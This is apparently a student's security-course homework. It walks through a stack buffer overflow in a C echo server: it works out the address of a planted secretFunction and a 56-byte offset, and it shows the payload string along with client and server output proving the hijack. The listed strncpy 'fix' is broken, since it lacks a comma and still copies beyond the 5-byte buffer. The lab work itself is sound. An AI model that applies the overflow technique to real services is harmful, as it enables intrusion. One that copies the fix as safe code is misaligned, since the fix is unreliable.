Homework Number: 10
Name: Jose Luis Tejada
ECN Login: tejada
Due Date: Thursday 09/26/2020 at 4:29PM

Server.c Modifitations:

```
/*
/ file : server.c
/----------------------------------------
/ This is a server socket program that echos recieved messages
/ from the client.c program.  Run the server on one of the ECN
/ machines and the client on your laptop.
*/

// For compiling this file:
//       Linux:            gcc server.c -o server
//       Solaris:          gcc server.c -o server -lsocket

// For running the server program:
//
//              server 9000
//
// where 9000 is the port you want your server to monitor.  Of course,
// this can be any high-numbered that is not currently being used by others.

//Address of secretFunction : 0x0000000000400dc9
// Offset of 56 re-writes the value of %eax, which is then moved into rbp
//"56xchar + \xc9\x0d\x40\x00"


#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <arpa/inet.h>
#include <unistd.h>

#define MAX_PENDING 10     /* maximun # of pending for connection */
#define MAX_DATA_SIZE 5
```

```
int DataPrint(char *recvBuff, int numBytes);
char* clientComm(int clntSockfd,int * senderBuffSize_addr, int * optlen_addr);

int main(int argc, char *argv[])
{
   if (argc < 2) {
   fprintf(stderr,"ERROR, no port provided\n");
   exit(1);
   }
   int PORT = atoi(argv[1]);



   int senderBuffSize;
   int servSockfd, clntSockfd;
   struct sockaddr_in sevrAddr;
   struct sockaddr_in clntAddr;
   int clntLen;
   socklen_t optlen = sizeof senderBuffSize;

   /* make socket */
   if ((servSockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
      perror("sock failed");
      exit(1);
   }

   /* set IP address and port */
   sevrAddr.sin_family = AF_INET;
   sevrAddr.sin_port = htons(PORT);
   sevrAddr.sin_addr.s_addr = INADDR_ANY;
   bzero(&(sevrAddr.sin_zero), 8);

   if (bind(servSockfd, (struct sockaddr *)&sevrAddr,
            sizeof(struct sockaddr)) == -1) {
      perror("bind failed");
      exit(1);
   }

   if (listen(servSockfd, MAX_PENDING) == -1) {
      perror("listen failed");
      exit(1);
   }

   while(1) {
```

```
        clntLen = sizeof(struct sockaddr_in);
        if ((clntSockfd = accept(servSockfd, (struct sockaddr *) &clntAddr, &clntLen)) == -1) {
            perror("accept failed");
            exit(1);
        }

        printf("Connected from %s\n", inet_ntoa(clntAddr.sin_addr));

        if (send(clntSockfd, "Connected!!!\n", strlen("Connected!!!\n"), 0) == -1) {
            perror("send failed");
            close(clntSockfd);
            exit(1);
        }

        /* repeat for one client service */
        while(1) {
            free(clientComm(clntSockfd, &senderBuffSize, &optlen));
        }

        close(clntSockfd);
        exit(1);
    }
}

char * clientComm(int clntSockfd,int * senderBuffSize_addr, int * optlen_addr){
    char *recvBuff; /* recv data buffer */
    int numBytes = 0;
    char str[MAX_DATA_SIZE];
    /* recv data from the client */
    getsockopt(clntSockfd, SOL_SOCKET,SO_SNDBUF, senderBuffSize_addr, optlen_addr); /*
check sender buffer size */
    recvBuff = malloc((*senderBuffSize_addr) * sizeof (char));

    if ((numBytes = recv(clntSockfd, recvBuff, *senderBuffSize_addr, 0)) == -1) {
        perror("recv failed");
        exit(1);
    }

    recvBuff[numBytes] = '\0';
    if(DataPrint(recvBuff, numBytes)){
        fprintf(stderr,"ERROR, no way to print out\n");
        exit(1);
    }
```

```
   //This is the vulnerability as strcpy blindly copies source into destination
   //without taking into account the size of the destination.
   // strcpy(str, recvBuff);
   //Now using strncpy which copies a specific size, preventing the buffer overflow.
   strncpy(str recvBuff, senderBuffSize);


   /* send data to the client */
   if (send(clntSockfd, str, strlen(str), 0) == -1) {
      perror("send failed");
      close(clntSockfd);
      exit(1);
   }


   return recvBuff;
}

void secretFunction(){
   printf("You weren't supposed to get here!\n");
   exit(1);
}

int DataPrint(char *recvBuff, int numBytes) {
   printf("RECEIVED: %s", recvBuff);
   printf("RECEIVED BYTES: %d\n\n", numBytes);
   return(0);
}
```

Buffer Overflow String:

"56 characters + \xc9\x0d\x40\x00"

I decided to choose this string as upon inspecting the disassembly for the secretFunction within the server.c file, its starting address was given as x00400dc9. Then upon inspecting the clientComm function, I realized that the input buffer from the user was copied into another (intended to be sent to the client) using the strcpy function which doesn't take into account the length of the destination string. Therefore, all I needed to know was to determine the offset from the call made to this fuction, to the instruction setting the rbp (register holding the frame pointer) to be the address of the secretFunction. After inspecting the disassembly, the number of bytes offset from the strcpy to the mov -0x34(%rbp),%eax instruction was 56 (Including the bytes needed to over-write %eax's value and thus set the return address to be the secretfunction).

Proof of Buffer Overflow String Working:

Client:

```
./client 128.46.4.61
Say something: Test
You Said: Test

Say something:
12345678901234567890123456789012345678901234567890123456\xc9\x0d\x40\x
00
@ou Said: 12345678901234567890123456789012345678901234567890123456É
```

Server:

```
-bash-4.1$ ./server 9000
Connected from 128.46.4.61
RECEIVED: Test
RECEIVED BYTES: 5

@RECEIVED BYTES: 5901234567890123456789012345678901234567890123456É

You weren't supposed to get here! <- secretFunction
```